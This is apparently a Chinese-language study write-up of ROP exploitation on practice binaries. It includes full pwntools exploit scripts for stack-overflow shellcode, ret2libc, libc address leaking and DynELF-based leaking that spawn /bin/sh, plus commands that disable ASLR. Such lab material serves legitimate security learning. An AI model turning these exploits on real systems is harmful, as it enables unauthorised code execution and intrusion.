蒸米的相关附件感兴趣自行下载
学了点蒸米的ROP笔记,自己来写个总结
ROP是啥
全称为Return-oriented programming,核心是利用ret指令控制执行顺序,作为一种高级的攻击内存的技术,可以绕过各种简单防御
关于X86
level1(栈上写入shellcode)
Linux系统的ASLR会使内存里的地址随机化,可以先关掉
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit
ida打开会发现有个read函数可以进行栈溢出,自己手算一下距离
136 + 4 = 140
也就是说把shellcode写入之后还要补成140,然后再写入ret_address(也就是shellcode所在的内存地址)
exp如下
#! /usr/bin/env python3
from pwn import *
context(os="linux", arch="i386")
p = process("./level1")
ret_address = ???
shellcode = asm(shellcraft.sh())
payload = shellcode + b'a'*(0x88+0x4-len(shellcode)) + p32(ret_address)
p.send(payload)
p.interactive()
但是ret_address要如何得到呢,可以用gdb调试得到,但gdb调试会使buf地址发生变化,解决办法就是把code dump开起来,就是会出现段错误(核心已转储)的东西
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
可以用ulimit -c查一下是不是开起来了,如果结果是0就是失败了,结果返回unlimited,就是成功了
然后运行文件
得到core文件
再用gdb调试就可以得到shellcode的地址了
x/10s $esp-144是前面的140+4(ret)得到的
如果第一次失败了,应该是ret的地址错了
可以在找一次core文件,用数字大的,就是新的core文件
就能getshell了
level2(ret2libc绕过NX) 无ASLR
check一下,发现开了NX(栈不可执行),NX enabled开启的话就意味着栈中数据没有执行权限,这样的话,当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃,但是可以利用rop绕过
此程序会调用动态库libc.so,然后ASLR又关掉了,也就是说我们可以从中获取system函数的地址和/bin/sh的地址,而且地址不会发生变化,这样我们就可以通过gdb动态调试把这两个东西得到
用print得到system的地址,用find找到字符串的地址
现在main下断点然后r程序跑起来,让libc库加载到内存中
然后再用print和find就可以实现了
exp如下
from pwn import *
p = process("./level2")
system_addr = 0xf7e0b830
binsh_addr = 0xf7f58352
payload = b'a'*140 + p32(system_addr) + p32(1) + p32(binsh_addr)
p.send(payload)
p.interactive()
level2(ret2libc绕过NX) 有ASLR
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space
把ASLR打开
打开之后虽然gdb查地址时地址是随机化的,但程序本身在内存中的地址并不随机
可以利用write泄露write的真实地址,然后减去libc中的距离,就可以得到libc的offset,从而利用基址加偏移的方式就能得到system的地址和/bin/sh的地址
libc动态库中的write函数和system函数距离有多远,链接之后他们的距离就有多远,也就是offset都是一样的
真实地址 = libc中的函数基址 + 相同的offset
但这题没有福大libc.so库,所以可以通过ldd自己查,然后拷贝到桌面
gxh@gxh-Ubuntu:~/桌面$ ldd level2
linux-gate.so.1 (0xf7ed7000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cce000)
/lib/ld-linux.so.2 (0xf7ed9000)
sudo cp /lib/i386-linux-gnu/libc.so.6 libc.so
exp如下
#! /usr/bin/env python3
from pwn import *
p = process("./level2")
elf=ELF('./level2')
libc=ELF('./libc.so')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
write_libc = libc.symbols['write']
sys_libc = libc.symbols['system']
sh_libc = next(libc.search(b'/bin/sh'))
payload = b'a'*140 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_got_addr = u32(p.recv()[:4])
offset = write_got_addr - write_libc
sys_addr = offset + sys_libc
bin_sh_addr = offset + sh_libc
payload0 = b'a'*140 + p32(sys_addr) + p32(1) + p32(bin_sh_addr)
p.sendline(payload0)
p.interactive()
level2(不获取libc.so)
如果不获取libc.so
就可以用DynELF模块来内存泄露(memory leak)找到system的地址,不过python3用DynELF会报错,要修改文件,后面会说
DynELF模块进行内存搜索,首先需要一个leak函数,这个函数可以获取到某个地址上最少1 byte的数据
def leak(address):
payload1 = b'a'*140 + p32(write_plt) + p32(main_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
return data
d = DynELF(leak, elf=ELF('./level2'))#对DynELF模块初始化
sys_addr = d.lookup(b'system', 'libc')#获取内存中的地址
但通过DynELF模块只能得到system的地址,但无法得到字符串“/bin/sh”的地址,我们可以利用read把字符串写进bss段中,可以在ida中用ctrl+s,或者在linux中用如下命令
readelf -S level2
也能得到
用read将字符串写入bss之后,紧接着就要调用system函数,需要堆栈平衡一下,一共三个参数,要pop三次,然后ret sys地址就可以了
这里可以利用ROPgadget来找这个gadget
exp如下
#! /usr/bin/env python3
from pwn import *
p = process("./level2")
elf=ELF('./level2')
main_addr = elf.symbols['main']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
bss_addr = 0x0804A018
pppr = 0x080484bd
def leak(address):
payload1 = b'a'*140 + p32(write_plt) + p32(main_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
return data
d = DynELF(leak, elf=ELF('./level2'))
sys_addr = d.lookup(b'system', 'libc')
payload0 = b'a'*140 + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload0 += p32(sys_addr) + p32(0) + p32(bss_addr)
p.sendline(payload0)
p.sendline(b'/bin/sh\x00')
p.interactive()
但是python3会报错
看报错提示,我们进去改一下文件
vim /home/gxh/.local/lib/python3.8/site-packages/pwnlib/dynelf.py
把e.symbols[symb]改成e.symbols[symb.decode()]
然后Esc 输入:wq 然后回车就保存退出了
成功后如下